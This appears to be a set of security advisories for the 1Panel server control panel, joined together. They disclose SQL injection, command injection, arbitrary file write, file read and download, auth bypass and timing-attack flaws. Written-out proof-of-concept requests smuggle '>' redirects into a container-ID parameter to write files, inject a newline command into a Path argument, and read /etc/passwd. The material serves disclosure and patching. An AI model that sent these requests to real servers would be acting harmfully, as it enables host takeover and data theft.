1Panel is a web-based linux server management control panel. 1Panel contains an unspecified sql injection via User-Agent handling. This issue has been addressed in version 1.10.12-lts. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary There are many sql injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. The proof is as follows

Details （one of them ） <img width="697" alt="image" src="https://github.com/1Panel-dev/1Panel/assets/129351704/895b7b43-9bc0-44b3-9c84-24c2dcc962da"> <img width="936" alt="image" src="https://github.com/1Panel-dev/1Panel/assets/129351704/1b8eb866-9865-4bef-a359-53335d709157"> <img width="684" alt="image" src="https://github.com/1Panel-dev/1Panel/assets/129351704/e865d6d0-7ecb-49f7-b4a2-f1b0bc407986">

PoC curl 'http://api:30455/api/v1/hosts/command/search' {"page":1,"pageSize":10,"groupID":0,"orderBy":"3","order":"ascending","name":"a"} <img width="664" alt="image" src="https://github.com/1Panel-dev/1Panel/assets/129351704/250d5a2a-cb32-44dc-9831-86dbc2f2b43f"> for example as picture . just change orderby‘s num we can know How many columns does the data table have.Parameters require strict whitelist filtering

Impact RCE、data leak.

Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC Dockerfile FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] echo.sh #!/usr/local/bin/bash echo "Hello, World!" Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1 Host: xxxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1 Host: xxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== Or write a timed task to execute any command. Impact The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

Summary 源码中密码校验处使用 != 符号，而不是hmac.Equal，这可能导致产生计时攻击漏洞，从而爆破密码。 建议使用 hmac.Equal 比对密码。

Translation:

The source code uses the != symbol instead of hmac.Equal for password verification, which may lead to timing attack vulnerabilities that can lead to password cracking. It is recommended to use hmac. Equal to compare passwords.

Details https://github.com/1Panel-dev/1Panel/blob/dev/backend/app/service/auth.go#L81C5-L81C26

Impact 该产品的所有使用者。

Translation:

All users of this product.

1Panel is vulnerable to command injection. This vulnerability has been classified as critical, has been found in 1Panel up to 1.10.1-lts. Affected by this issue is the function baseApi.UpdateDeviceSwap of the file /api/v1/toolbox/device/update/swap. The manipulation of the argument Path with the input 123123123\nopen -a Calculator leads to command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-256304.

Impact

The steps are as follows:

1. Access https://IP:PORT/ in the browser, which prompts the user to access with a secure entry point. !image

2. Use Burp to intercept: !image

When opening the browser and entering the URL (allowing the first intercepted packet through Burp), the following is displayed: !image

It is found that in this situation, we can access the console page (although no data is returned and no modification operations can be performed)."

Affected versions: <= 1.10.0-lts

Patches

The vulnerability has been fixed in v1.10.1-lts.

Workarounds

It is recommended to upgrade the version to 1.10.1-lts.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com

Summary An arbitrary file write vulnerability could lead to direct control of the server Details Arbitrary file creation In the api/v1/file.go file, there is a function called SaveContentthat,It recieves JSON data sent by users in the form of a POST request. And the lack of parameter filtering allows for arbitrary file write operations.It looks like this:

- Vulnerable Code

!微信图片20230801092544

PoC

- We can write the SSH public key into the /etc/.root/authorizedkeys configuration file on the server.

!微信图片20230801093243

- The server was successfully written to the public key !微信图片20230801093610

- Successfully connected to the target server using an SSH private key. !微信图片20230801093933 !微信图片20230801094037

As a result, the server is directly controlled, causing serious harm

Impact 1Panel v1.4.3

Summary Any file downloading vulnerability exists in 1Panel backend.

Details Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access. !image

PoC payload:

POST /api/v1/files/download/bypath HTTP/1.1 Host: ip Content-Type: application/json

{"path":"/etc/passwd"}

!f77959349e96543436eea18283fa75c

Impact Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.

Summary Arbitrary file reads allow an attacker to read arbitrary important configuration files on the server.

Details In the api/v1/file.go file, there is a function called LoadFromFile, which directly reads the file by obtaining the requested path parameter[path]. The request parameters are not filtered, resulting in a background arbitrary file reading vulnerability !picture1

PoC Request /api/v1/files/loadfile, carry /etc/passwd data to read, as shown below: !微信图片20230731112833

Impact 1Panel v1.4.3